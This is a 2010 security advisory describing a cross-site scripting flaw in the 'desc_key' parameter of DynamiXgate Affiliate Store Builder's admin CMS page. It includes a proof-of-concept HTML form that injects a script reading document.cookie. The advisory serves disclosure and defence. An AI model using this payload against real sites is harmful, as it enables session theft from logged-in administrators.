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Cross-site Scripting (XSS) in DynamiXgate Affiliate Store Builder

Advisory ID:HTB22362
Product:DynamiXgate Affiliate Store Builder
Vendor:DynamiXgate Team
Vulnerable Versions:Current version at 2010, April and probably prior
Tested Version:Current version at 2010, April
Advisory Publication:April 27, 2010 [without technical details]
Vendor Notification:April 27, 2010
Public Disclosure:May 11, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Not Fixed
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in DynamiXgate Affiliate Store Builder which could be exploited to perform cross-site scripting (XSS) attacks.

1) Cross-site scripting vulnerability in DynamiXgate Affiliate Store Builder
The vulnerability exists due to insufficient input sanitation in the HTTP POST parameter "desc_key" in /admin/edit_cms.php. A remote attacker can create a specially crafted page and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged in into the application.
Exploitation example:
<form action='http://host/admin/edit_cms.php?page=1' name="frm" method='post' >
<input name="title" type="hidden" value="Home"/>
<input name="type" type="hidden" value="header"/>
<input name="desc_meta" type="hidden" value="page+desc" />
<input name="desc_key" type="hidden" value='"><script>alert(document.cookie)</script>' />
<input name="cms_id" type="hidden" value="1" />
<input name="edit_page" type="hidden" value="Edit+Page" />

ImmuniWeb® On-Demand Web Application Penetration Test

Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB22362 - - Cross-site Scripting (XSS) in DynamiXgate Affiliate Store Builder
[2] DynamiXgate Affiliate Store Builder - - DynamiXgate Affiliate Store Builder enables you to generate extra income beyond your expectations by using the two world class affiliate programs provided by Ebay and Amazon combined into one fully functional money making machine provided by DynamiXgate.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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